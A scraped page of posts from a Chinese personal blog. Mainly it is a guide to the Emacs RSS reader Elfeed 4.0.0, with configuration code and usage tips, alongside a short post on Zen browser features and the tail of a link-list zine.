vs 专业偷车贼?反手就给他们上了一课!</a> (25:20) by MarkRober</li> <li><a href="https://www.bilibili.com/video/BV15gj767EeK/">散养忏悔录</a> (05:16) by 皮欧皮皮</li> <li><a href="https://www.bilibili.com/video/BV1J8wizxEfQ">如何骂猫</a> (05:21) by 皮欧皮皮</li> <li><a href="https://www.bilibili.com/video/BV1P6786uEhq/">离家出走的林不行</a> (04:03) by 本喵叫兔兔</li> <li><a href="https://www.bilibili.com/video/BV1dTjh6dE12">这个骗子估计晚上睡觉都会想起那几个字,作为一个销冠必须拿的住一切</a> (03:02) by 一只鱼雨鱼</li> </ul> </div> </div> <div id="outline-container-95ED0F81-4202-4D61-A525-0C3C7055FFF3" class="outline-3"> <h3 id="95ED0F81-4202-4D61-A525-0C3C7055FFF3"><a href="#95ED0F81-4202-4D61-A525-0C3C7055FFF3">游戏</a></h3> <div class="outline-text-3" id="text-95ED0F81-4202-4D61-A525-0C3C7055FFF3"><ul class="org-ul"> <li><a href="https://www.bilibili.com/video/BV1U6jz6KErp">王老菊教你断剑奇侠·S3-ep00:包氏创业记</a> (1:17:38)</li> <li><a href="https://www.bilibili.com/video/BV1bwj863E1t">王老菊教你断剑奇侠·S3-ep01:小本买卖堂堂正正</a> (1:16:32)</li> <li><a href="https://www.bilibili.com/video/BV1cuj26rEVA">王老菊教你断剑奇侠·S3-ep02:有氧教练</a> (1:14:44)</li> </ul> </div> </div> </div> <div id="footnotes"> <h2 class="footnotes">&#33050;&#27880;: </h2> <div id="text-footnotes"> <div class="footdef"><sup><a id="fn.1" class="footnum" href="#fnr.1" role="doc-backlink">1</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> 在日語里車長似乎是寫作 <a href="https://ja.wikipedia.org/wiki/%E8%BB%8A%E6%8E%8C">車掌</a>,車長掌車叫車掌也很合理。 </p></div></div> <div class="footdef"><sup><a id="fn.2" class="footnum" href="#fnr.2" role="doc-backlink">2</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> easy as cake 的意思是「易如反掌」,是 <a href="https://www.phrases.org.uk/meanings/as-easy-as-pie.html">easy as pie</a> 的變體。 </p></div></div> </div> </div></div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/53.txt">純文本版本</a> <a href="https://taxodium.ink/53.org">原始 org 文件</a>

2026/6/26
阅读更多

Elfeed 4.0.0 使用分享

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Elfeed 4.0.0 使用分享</h1> </header> <p> <a href="https://github.com/emacs-elfeed/elfeed/tree/main">Elfeed</a> 是一個 Emacs 里的 <a href="about-feeds.html">RSS</a> 閲讀器,關於 Elfeed 之前寫過一篇 <a href="use-elfeed-to-read-feed-in-emacs.html">在 Emacs 中用 Elfeed 阅读订阅流</a>,那篇文章没怎麼展示 Elfeed 的使用,更多還是在分享一些工具函数。前陣子 <a href="https://github.com/emacs-elfeed/elfeed/blob/main/NEWS.org#version-400-2026-06-06">Elfeed 也更新到了 4.0.0</a>,新增了很多方便的功能,我最近也用的很多,所以再分享一下它的使用,或許你會想嘗試一下它。 </p> <p> 為了更直觀了解,我录󠄃了個視頻,也可以看看: </p> <ul class="org-ul"> <li>YouTube: <a href="https://youtu.be/HlEuXpG992A">Elfeed 4.0.0 使用分享</a></li> <li>Bilibili: <a href="https://www.bilibili.com/video/BV1bTjp6REtn/">Elfeed 4.0.0 使用分享</a></li> </ul> <p> 有點囉嗦,推薦 1.5 倍速看。 </p> <details> <summary>視頻演示中的配置</summary> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">defconst</span> <span class="org-variable-name">*is-a-mac*</span> (eq system-type 'darwin)) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#35774;&#32622; mac &#30340;&#24555;&#25463;&#38190;</span> (<span class="org-keyword">when</span> *is-a-mac* (<span class="org-keyword">setq</span> mac-command-modifier 'meta mac-option-modifier 'super)) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#35373;&#32622;&#40664;&#35469;&#23383;&#39636;&#22823;&#23567;</span> (set-face-attribute 'default nil <span class="org-builtin">:height</span> 250) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#28155;&#21152; package &#30340;&#19979;&#36617;&#20179;&#24235;&#65292;melpa &#19978;&#26377;&#26356;&#22810;&#30340;&#25844;&#23637;</span> (<span class="org-keyword">require</span> '<span class="org-constant">package</span>) (add-to-list 'package-archives '(<span class="org-string">"melpa"</span> . <span class="org-string">"https://melpa.org/packages/"</span>) t) (add-to-list 'package-unsigned-archives <span class="org-string">"melpa"</span>) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#35519;&#25972; elfeed &#25968;&#25454;&#24235;&#30340;&#30446;&#24405;&#917763;&#20301;&#32622;</span> (<span class="org-keyword">setq</span> elfeed-db-directory <span class="org-string">"~/Downloads/emacs-config/.elfeed"</span>) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#28155;&#21152;&#35330;&#38321;&#27969;</span> (<span class="org-keyword">setq</span> elfeed-feeds '((<span class="org-string">"https://taxodium.ink/rss.xml"</span> <span class="org-builtin">:title</span> <span class="org-string">"Taxodium"</span> emacs zine) (<span class="org-string">"https://kagi.com/api/v1/smallweb/feed/"</span> <span class="org-builtin">:title</span> <span class="org-string">"Kagi Small Web"</span> ) (<span class="org-string">"https://bf.zzxworld.com/feed.xml"</span> <span class="org-builtin">:title</span> <span class="org-string">"BlogFinder"</span> <span class="org-builtin">:no-update</span> t <span class="org-builtin">:fetch-link</span> t feeds ))) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#35373;&#32622; *elfeed-search* &#38913;&#38754;&#30340;&#26178;&#38291;&#26684;&#24335;&#65292;&#26371;&#24433;&#21709;&#20998;&#32068;&#30340;&#23637;&#31034;</span> (<span class="org-keyword">setq</span> elfeed-search-separator-date-format <span class="org-string">"%Y-%m-%d"</span>) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#35373;&#32622;&#40664;&#35469;&#30340;&#36942;&#28670;&#26465;&#20214;</span> (<span class="org-keyword">setq-default</span> elfeed-search-filter <span class="org-string">"@1weeks +unread"</span>) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#25289;&#21462;&#26032;&#26465;&#30446;&#26178;&#65292;&#23559;&#19968;&#20491;&#26376;&#21069;&#30340;&#33258;&#21205;&#27161;&#35352;&#28858;&#24049;&#35712;</span> (add-hook 'elfeed-new-entry-hook (elfeed-make-tagger <span class="org-builtin">:before</span> <span class="org-string">"1 months ago"</span> <span class="org-builtin">:remove</span> 'unread)) <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#38321;&#35712;&#26178;&#38283;&#21855; `</span><span class="org-comment"><span class="org-constant">olivetti-mode</span></span><span class="org-comment">'&#65292;&#35731;&#20839;&#23481;&#23621;&#20013;&#23637;&#31034;</span> (<span class="org-keyword">defun</span> <span class="org-function-name">spike-leung/preview-elfeed-with-olivetti</span> () <span class="org-doc">"Preview elfeed with `</span><span class="org-doc"><span class="org-constant">olivetti-mode</span></span><span class="org-doc">'."</span> (olivetti-mode) (olivetti-set-width 80) (visual-line-mode)) (add-hook 'elfeed-show-mode-hook #'spike-leung/preview-elfeed-with-olivetti) <span class="org-comment-delimiter">;; </span><span class="org-comment">&#22686;&#24375;&#33258;&#21205;&#35036;&#20840;</span> (<span class="org-keyword">use-package</span> vertico <span class="org-builtin">:init</span> (vertico-mode)) <span class="org-comment-delimiter">;; </span><span class="org-comment">&#20801;&#35377;&#35036;&#20840;&#38364;&#37749;&#23383;&#26080;&#24207;</span> (<span class="org-keyword">use-package</span> orderless <span class="org-builtin">:custom</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">Configure a custom style dispatcher (see the Consult wiki)</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">(orderless-style-dispatchers '(+orderless-consult-dispatch orderless-affix-dispatch))</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">(orderless-component-separator #'orderless-escapable-split-on-space)</span> (completion-styles '(orderless basic)) (completion-category-overrides '((file (styles partial-completion)))) (completion-category-defaults nil) <span class="org-comment-delimiter">;; </span><span class="org-comment">Disable defaults, use our settings</span> (completion-pcm-leading-wildcard t)) <span class="org-comment-delimiter">;; </span><span class="org-comment">Emacs 31: partial-completion behaves like substring</span> <span class="org-comment-delimiter">;;; </span><span class="org-comment">&#35731;&#35036;&#20840;&#39023;&#31034;&#27880;&#35299; (annotation)</span> (<span class="org-keyword">use-package</span> marginalia <span class="org-comment-delimiter">;; </span><span class="org-comment">Bind `</span><span class="org-comment"><span class="org-constant">marginalia-cycle</span></span><span class="org-comment">' locally in the minibuffer. To make the binding</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">available in the *Completions* buffer, add it to the</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">`</span><span class="org-comment"><span class="org-constant">completion-list-mode-map</span></span><span class="org-comment">'.</span> <span class="org-builtin">:bind</span> (<span class="org-builtin">:map</span> minibuffer-local-map (<span class="org-string">"M-A"</span> . marginalia-cycle)) <span class="org-comment-delimiter">;; </span><span class="org-comment">The :init section is always executed.</span> <span class="org-builtin">:init</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">Marginalia must be activated in the :init section of use-package such that</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">the mode gets enabled right away. Note that this forces loading the</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">package.</span> (marginalia-mode)) (custom-set-variables <span class="org-comment-delimiter">;; </span><span class="org-comment">custom-set-variables was added by Custom.</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">If you edit it by hand, you could mess it up, so be careful.</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">Your init file should contain only one such instance.</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">If there is more than one, they won't work right.</span> '(package-selected-packages '(elfeed marginalia olivetti orderless vertico))) (custom-set-faces <span class="org-comment-delimiter">;; </span><span class="org-comment">custom-set-faces was added by Custom.</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">If you edit it by hand, you could mess it up, so be careful.</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">Your init file should contain only one such instance.</span> <span class="org-comment-delimiter">;; </span><span class="org-comment">If there is more than one, they won't work right.</span> ) </code></pre> </div> </details> <div id="outline-container-EC4C73B4-22D3-4A20-9788-D816E6351EED" class="outline-2"> <h2 id="EC4C73B4-22D3-4A20-9788-D816E6351EED"><a href="#EC4C73B4-22D3-4A20-9788-D816E6351EED">安装</a></h2> <div class="outline-text-2" id="text-EC4C73B4-22D3-4A20-9788-D816E6351EED"><p> Elfeed 運行在 Emacs 中,關於 <a href="https://www.gnu.org/software/emacs/">Emacs 的安装</a><sup><a id="fnr.1" class="footref" href="#fn.1" role="doc-backlink">1</a></sup> 和使用這里就不贅述了,之前可以參考之前寫的 <a href="how-to-get-started-with-emacs.html">如何上手 Emacs</a>。我想說的是,Emacs 安装和簡单使用并不難, Emacs 也有圖形界面,也可以通過鼠標完成大部分常用操作,不必看到 Emacs 就望而止步。不過請至少閲讀一遍 Emacs tutorial,下面的安装我會假設你己經讀過一遍了。 </p> <p> Elfeed 的安装參考 <a href="https://github.com/emacs-elfeed/elfeed/tree/main#prerequisites">Elfeed 的 README</a>,大致這几步: </p> <ul class="org-ul"> <li>执行 <code>M-x package-install</code> ,輪入 <code>elfeed</code> 进行安装</li> <li><p> 配置 Elfeed,可以寫在 <code>~/.emacs.d/init.el</code> </p> <section role="note" id="org4ee6848"> <p> Emacs 的配置一般寫在 <code>~/.emacs.d/init.el</code> ,取决於的操作系統路徑可能有差异。 </p> </section> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">setq</span> elfeed-feeds '(<span class="org-string">"https://taxodium.ink/rss.xml"</span> <span class="org-string">"https://kagi.com/api/v1/smallweb/feed/"</span>)) </code></pre> </div></li> <li>执行 <code>M-x load-file</code> ,輪入 <code>~/.emacs.d/init.el</code> ,讓 Emacs 加載 <code>init.el</code> 里的配置</li> </ul> <p> 這樣就安装好了,之後可以执行 <code>M-x elfeed</code> 打開 Elfeed 閲讀,执行 <code>M-x elfeed-update</code> 拉取訂閱流获取更新 (也可以在 Elfeed 的 buffer 按 <kbd>G</kbd> 触發)。 </p> </div> </div> <div id="outline-container-2225B3F1-19A7-4354-8977-DEA8B5318884" class="outline-2"> <h2 id="2225B3F1-19A7-4354-8977-DEA8B5318884"><a href="#2225B3F1-19A7-4354-8977-DEA8B5318884">管理訂閱流</a></h2> <div class="outline-text-2" id="text-2225B3F1-19A7-4354-8977-DEA8B5318884"><p> Elfeed 的訂閲流是在一個配置文件(例如 <code>init.el</code> )中配置的, 格式如下: </p> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">setq</span> elfeed-feeds '((<span class="org-string">"https://taxodium.ink/rss.xml"</span> <span class="org-builtin">:title</span> <span class="org-string">"Taxodium"</span>) (<span class="org-string">"https://protesilaos.com/master.xml"</span> <span class="org-builtin">:title</span> <span class="org-string">"Protesilaos"</span> emacs) (<span class="org-string">"https://www.stefanjudis.com/rss.xml"</span> <span class="org-builtin">:title</span> <span class="org-string">"Stefan Judis"</span> weekly frontend) (<span class="org-string">"https://bf.zzxworld.com/feed.xml"</span> <span class="org-builtin">:title</span> <span class="org-string">"BlogFinder"</span> <span class="org-builtin">:no-update</span> t <span class="org-builtin">:fetch-link</span> t feeds blog) (<span class="org-string">"https://kagi.com/api/v1/smallweb/feed/"</span> <span class="org-builtin">:title</span> <span class="org-string">"Kagi Small Web"</span> <span class="org-builtin">:no-update</span> t <span class="org-builtin">:fetch-link</span> t feeds blog))) </code></pre> </div> <p> 上面我添加了 5 条訂閱流,其中 </p> <ul class="org-ul"> <li><code>:title</code> 可以指定顯示的名称。</li> <li><p> <code>:no-update</code> 可以讓訂閱流默認不更新,需要手動去触發更新。有的訂閲流更新太多太頻繁,就可以讓它們默認不更新,什麼時候想看再用 <code>elfeed-update-feed</code> 手動触發更新。 </p> <details> <summary>更好的補全</summary> <p> <code>elfeed-update-feed</code> 支持自動補全,但默認的補全不是很好用。建議安装 <a href="https://github.com/minad/vertico">minad/vertico</a> 、<a href="https://github.com/oantolin/orderless">oantolin/orderless</a>、<a href="https://github.com/minad/marginalia">minad/marginalia</a> 获得更好的補全。 </p> </details></li> <li><code>:fetch-link</code> 有的訂閲流只包含原文鏈接,設置 <code>:fetch-link</code> 可以自動拉取鏈接內容。</li> <li>剩下的 <code>emacs</code> 、 <code>weekly</code> 等是標簽。 (添加標簽後,执行 <code>M-x elfeed-apply-autotags-now</code> 可以更新己有条目的標簽)</li> </ul> <p> 更多配置見 <a href="https://github.com/emacs-elfeed/elfeed/">Elfeed 的 README</a>。 </p> <p> 可以看到這就是一些有一定格式的文本,很容易編輯、搜索,所有用於文本的編輯技巧都能用上,例如多指針編輯、正則替換等,比許多圖形介面要方便的多。 </p> <p> 如果後面想換一個閱讀器,可以执行 <code>M-x elfeed-export-opml</code> 將所有訂閱流导出。 </p> </div> </div> <div id="outline-container-6CB51B79-CFEA-4BAA-8DF9-45826432F3D8" class="outline-2"> <h2 id="6CB51B79-CFEA-4BAA-8DF9-45826432F3D8"><a href="#6CB51B79-CFEA-4BAA-8DF9-45826432F3D8">閱讀</a></h2> <div class="outline-text-2" id="text-6CB51B79-CFEA-4BAA-8DF9-45826432F3D8"><p> 执行 <code>M-x elfeed</code> 就可以打開 Elfeed 閱讀,在 Elfeed 的 buffer 按 <kbd>G</kbd> (<code>elfeed-update</code>) 触發更新 (那些設置了 <code>:no-update t</code> 的訂閱流不會被触發)。 </p> <p> 默認視圖是按月份分組的。 </p> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-search-month-view.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-search-month-view.webp" alt="elfeed-search-month-view.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>elfeed 默認視圖,按月分組</figcaption> </figure> <p> 我更傾向於按天分組,可以在 <code>init.el</code> 中添加配置,設置默認按天分組: </p> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">setq</span> elfeed-search-separator-date-format <span class="org-string">"%Y-%m-%d"</span>) </code></pre> </div> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-search-date-view.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-search-date-view.webp" alt="elfeed-search-date-view.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;2&nbsp; </span>elfeed 視圖,按天分組</figcaption> </figure> <p> 按下 <code>o</code> (<code>elfeed-search-cycle-order</code>) 可以切換分組模式,默認在按日期分組和按訂閱流分組之間切換。 </p> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-search-feed-view.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-search-feed-view.webp" alt="elfeed-search-feed-view.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;3&nbsp; </span>elfeed 視圖,按訂閱流分組</figcaption> </figure> <p> 在条目上,按下 <kbd>ENTER</kbd> (<code>elfeed-search-show-entry</code>) 可以查看条目的文章內容,它是通過解析 XML 呈現的,不會加載 JS、CSS,只顯示 HTML 的內容,可以說很簡陋,但它也更干净,没有太多干擾。 </p> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-show.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-show.webp" alt="elfeed-show.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;4&nbsp; </span>elfeed 閲讀視圖</figcaption> </figure> <p> 在条目上按下: </p> <ul class="org-ul"> <li><kbd>b</kbd> (<code>elfeed-search-browse-url</code>) 可以用默認瀏覧器打開条目。</li> <li><kbd>r</kbd> (<code>elfeed-search-untag-all-unread</code>) 可以標記己讀,</li> <li><kbd>u</kbd> (<code>elfeed-search-untag-all-unread</code>) 可以標記未讀。</li> </ul> <p> 更多可以參考 <a href="https://github.com/emacs-elfeed/elfeed/tree/main#prerequisites:~:text=From%20the%20search%20buffer%20there%20are%20a%20number%20of%20ways%20to%20interact%20with%20entries%2E%20Entries%20are%20selected%20by%20placing%20the%20point%20over%20an%20entry%2E%20Multiple%20entries%20are%20selected%20at%20once%20by%20using%20an%20active%20region">README</a>,或者执行 <code>M-x describe-mode</code> 查看 <code>elfeed-search-mode</code> 的按鍵綁定。 </p> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-describe-mode.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-describe-mode.webp" alt="elfeed-describe-mode.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;5&nbsp; </span>使用 describe-mode 後列出的 Elfeed 相關的快捷鍵</figcaption> </figure> </div> </div> <div id="outline-container-9D8F4457-F34B-4120-8291-F1A76C4BBE31" class="outline-2"> <h2 id="9D8F4457-F34B-4120-8291-F1A76C4BBE31"><a href="#9D8F4457-F34B-4120-8291-F1A76C4BBE31">搜索過濾</a></h2> <div class="outline-text-2" id="text-9D8F4457-F34B-4120-8291-F1A76C4BBE31"><p> 在条目上按下: </p> <ul class="org-ul"> <li><kbd>@</kbd> 可以基於条目的日期過濾,例如条目的日期是 2026-06-01,按下後就只顯示 2026-06-01 往後的条目。</li> <li><kbd>=</kbd> 可以基於条目的訂閱流過濾,例如条目属於 taxodium.ink,按下後就只顯示属於 taxodium.ink 的条目。</li> <li><kbd>~</kbd> 可以排除条目的訂閱流,例如条目属於 taxodium.ink,按下後就不會顯示属於 taxodium.ink 的条目。</li> </ul> <p> 在 Elfeed 的 buffer (<code>*elfeed-search*</code>) 上,按下 <kbd>s</kbd> (<code>elfeed-search-live-filter</code>) 可以輸入過濾條件實時過濾,可以按照日期、訂閱流名称、条目名称、標簽 (支持自動補全) 過濾,也支持設置排除条件,具體語法可以參考 <a href="https://github.com/emacs-elfeed/elfeed/tree/main#filter-syntax">Filter Syntax</a>。 </p> <p> 4.0.0 還增加了 <a href="https://github.com/emacs-elfeed/elfeed/tree/main#tree-view">Tree View</a>,可以集中查看所有標簽,执行 <code>M-x elfeed-tree</code> 可以打開 Tree View 視圖。 </p> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-tree-view.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-tree-view.webp" alt="elfeed-tree-view.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;6&nbsp; </span>Elfeed Tree View</figcaption> </figure> <p> Tree View 的結构和標簽的位置有關: </p> <ul class="org-ul"> <li><code>("https://yhetil.org/emacs-devel/new.atom" emacs lists)</code> emacs 會作為根節點,lists 是它下面的子節點。</li> <li><code>("https://yhetil.org/emacs-devel/new.atom" lists emacs)</code> lists 會作為根節點,emacs 是它下面的子節點。</li> </ul> </div> </div> <div id="outline-container-590842DC-4C2F-4B86-B1B7-9F3701A7C8AF" class="outline-2"> <h2 id="590842DC-4C2F-4B86-B1B7-9F3701A7C8AF"><a href="#590842DC-4C2F-4B86-B1B7-9F3701A7C8AF">其它</a></h2> <div class="outline-text-2" id="text-590842DC-4C2F-4B86-B1B7-9F3701A7C8AF"><div id="text-table-of-contents-1" role="doc-toc"> <ul> <li><a href="#5694A9D2-EF4C-4284-B0D9-0C899791E2E5">默認過濾条件</a></li> <li><a href="#78CAAABA-2E5D-44A9-BB86-C44130CDA72D">將某個時間之前的条目自動標記己讀</a></li> <li><a href="#0E23E4EB-40AB-40FB-B789-BCB8AFA7CA1E">在手機上閱讀</a></li> <li><a href="#D7C8F40F-71A1-4F0C-B6B1-99ECADA53C78">优化閱讀體驗</a></li> </ul> </div> </div> <div id="outline-container-5694A9D2-EF4C-4284-B0D9-0C899791E2E5" class="outline-3"> <h3 id="5694A9D2-EF4C-4284-B0D9-0C899791E2E5"><a href="#5694A9D2-EF4C-4284-B0D9-0C899791E2E5">默認過濾条件</a></h3> <div class="outline-text-3" id="text-5694A9D2-EF4C-4284-B0D9-0C899791E2E5"><p> 默認過濾条件是 <code>@6months +unread</code> ,即近 6 個月未讀的条目,但我只想看最近一周,可以修改 <code>elfeed-search-filter</code> : </p> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">setq-default</span> elfeed-search-filter <span class="org-string">"@1weeks +unread"</span>) </code></pre> </div> <p> 過濾條件語法參考 <a href="https://github.com/emacs-elfeed/elfeed/tree/main#filter-syntax">Filter Syntax</a>。 </p> </div> </div> <div id="outline-container-78CAAABA-2E5D-44A9-BB86-C44130CDA72D" class="outline-3"> <h3 id="78CAAABA-2E5D-44A9-BB86-C44130CDA72D"><a href="#78CAAABA-2E5D-44A9-BB86-C44130CDA72D">將某個時間之前的条目自動標記己讀</a></h3> <div class="outline-text-3" id="text-78CAAABA-2E5D-44A9-BB86-C44130CDA72D"><p> 新增訂閱流時,我可能只是想看作者的後續更新,有的訂閱流可能塞进了所有文章,就會一下子出現大量未讀条目。 </p> <p> 我只想看最近一個月的,可以在拉取時讓 Elfeed 自動將一個月前的標記為己讀。 </p> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(add-hook 'elfeed-new-entry-hook (elfeed-make-tagger <span class="org-builtin">:before</span> <span class="org-string">"1 months ago"</span> <span class="org-builtin">:remove</span> 'unread)) </code></pre> </div> <p> 更多見 <a href="https://github.com/emacs-elfeed/elfeed/tree/main#tag-hooks">Tag Hooks</a>。 </p> </div> </div> <div id="outline-container-0E23E4EB-40AB-40FB-B789-BCB8AFA7CA1E" class="outline-3"> <h3 id="0E23E4EB-40AB-40FB-B789-BCB8AFA7CA1E"><a href="#0E23E4EB-40AB-40FB-B789-BCB8AFA7CA1E">在手機上閱讀</a></h3> <div class="outline-text-3" id="text-0E23E4EB-40AB-40FB-B789-BCB8AFA7CA1E"><p> Elfeed 只能在 Emacs 中用,手機上沒装 Emacs 就用不了了。我的解决辦法是,先在電脑上打開 Elfeed,將想看的內空生成一份 HTML,放到一個 Web 服務器上供手機訪問。主要在無法用電脑時應付一下,更多時候我還是在電脑上閲讀。 </p> <p> 具體參考 <a href="export-elfeed-selected-entries-to-github-page-as-reading-list.html">导出 Elfeed 选中条目到 GitHub Page 作为 Reading List</a>。 </p> </div> </div> <div id="outline-container-D7C8F40F-71A1-4F0C-B6B1-99ECADA53C78" class="outline-3"> <h3 id="D7C8F40F-71A1-4F0C-B6B1-99ECADA53C78"><a href="#D7C8F40F-71A1-4F0C-B6B1-99ECADA53C78">优化閱讀體驗</a></h3> <div class="outline-text-3" id="text-D7C8F40F-71A1-4F0C-B6B1-99ECADA53C78"><p> 我的顯示器比较寬,默認內容都在左側,閱讀起來不舒服。在閱讀時我會開啟󠄁 <a href="https://github.com/rnkn/olivetti">olivetti-mode</a> 讓內容居中。 </p> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">defun</span> <span class="org-function-name">spike-leung/preview-elfeed-with-olivetti</span> () <span class="org-doc">"Preview elfeed with `</span><span class="org-doc"><span class="org-constant">olivetti-mode</span></span><span class="org-doc">'."</span> (olivetti-mode) (olivetti-set-width 80) (visual-line-mode)) (add-hook 'elfeed-show-mode-hook #'spike-leung/preview-elfeed-with-olivetti) </code></pre> </div> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-show.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-show.webp" alt="elfeed-show.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;7&nbsp; </span>elfeed 閲讀視圖</figcaption> </figure> <figure> <a href="images/elfeed-4-0-0-usage-sharing/elfeed-show-olivetti.webp"><img src="images/elfeed-4-0-0-usage-sharing/elfeed-show-olivetti.webp" alt="elfeed-show-olivetti.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;8&nbsp; </span>elfeed 閲讀視圖,開啟了 olivetti-mode</figcaption> </figure> </div> </div> </div> <div id="footnotes"> <h2 class="footnotes">&#33050;&#27880;: </h2> <div id="text-footnotes"> <div class="footdef"><sup><a id="fn.1" class="footnum" href="#fnr.1" role="doc-backlink">1</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> macOS 也可以從這兩個地方下載: </p> <ul class="org-ul"> <li><a href="https://emacsformacosx.com/">Emacs For Mac OS X</a></li> <li><a href="https://github.com/d12frosted/homebrew-emacs-plus">d12frosted/homebrew-emacs-plus</a></li> </ul></div></div> </div> </div></div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/elfeed-4-0-0-usage-sharing.txt">純文本版本</a> <a href="https://taxodium.ink/elfeed-4-0-0-usage-sharing.org">原始 org 文件</a>

2026/6/20
阅读更多

分享一些 Zen 瀏覧器好用的功能 - Boost 自定義頁面樣式、Live Folder

<div id="content" class="content e-content"> <header> <h1 class="title p-name">分享一些 Zen 瀏覧器好用的功能</h1> <p class="subtitle" role="doc-subtitle">Boost 自定義頁面樣式、Live Folder</p> </header><p> 在 <a href="nichijou-8.html">日常#8 - Zen 浏览器、白描、博客图片压缩脚本</a> 我分享過一些 Zen 的功能,最近 Zen 又更新了一些不錯的功能,再分享一下。 </p> <p> <b>Boost</b> </p> <figure> <a href="images/share-some-zen-browser-useful-features-boost-and-live-folder/boost.webp"><img src="images/share-some-zen-browser-useful-features-boost-and-live-folder/boost.webp" alt="boost.webp"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>Zen 瀏覧器 Boost 功能截圖</figcaption> </figure> <p> Boost 可以用於調整頁面樣式,例如切換明暗主題、調整對比度、切換字體、調整字體大小、刪除頁面元素等,它是針對域名生效的。 </p> <p> 對我來說最常用的是切換明暗主題,我不喜歡暗色主題,黑底白字有些刺眼,有的網站也不提供切換按鈕,我就可以用 Boost 切換一下再閱讀。 </p> <details> <summary>給頁要添加一個主題切換功能</summary> <p> 如果你是網站作者,建議為讀者提供一個明暗主題的切換功能,以適應不同讀者的閱讀習慣。 </p> <p> See also: </p> <ul class="org-ul"> <li><a href="49.html#080A86DB-A41A-4D90-A852-8D1958177756">Zine#49::Browsers Should Have a Native Control for Per-Site Color Scheme by Tyler Gaw</a></li> <li><a href="setup-blog-color-scheme.html">给博客添加 dark mode</a></li> </ul> </details> <p> Boost 里的 Zap 功能可以用來移除任意元素,有時用來移除一些頁面广告,可以讓頁面更干净,更容易専注於文字內容。 </p> <p> <b>Live Folder</b> </p> <figure> <a href="images/share-some-zen-browser-useful-features-boost-and-live-folder/live-folder.webp"><img src="images/share-some-zen-browser-useful-features-boost-and-live-folder/live-folder.webp" alt="live-folder.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;2&nbsp; </span>Zen 瀏覧器 Live Folder 功能截圖</figcaption> </figure> <p> 這個功能我用的不多,你可以用它创建 RSS Feed Live Folder,把 Zen 當作一個 RSS 訂閲器和閱讀器。 </p> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/share-some-zen-browser-useful-features-boost-and-live-folder.txt">純文本版本</a> <a href="https://taxodium.ink/share-some-zen-browser-useful-features-boost-and-live-folder.org">原始 org 文件</a>

2026/6/17
阅读更多

Zine#52 - 我们都无法成为大人

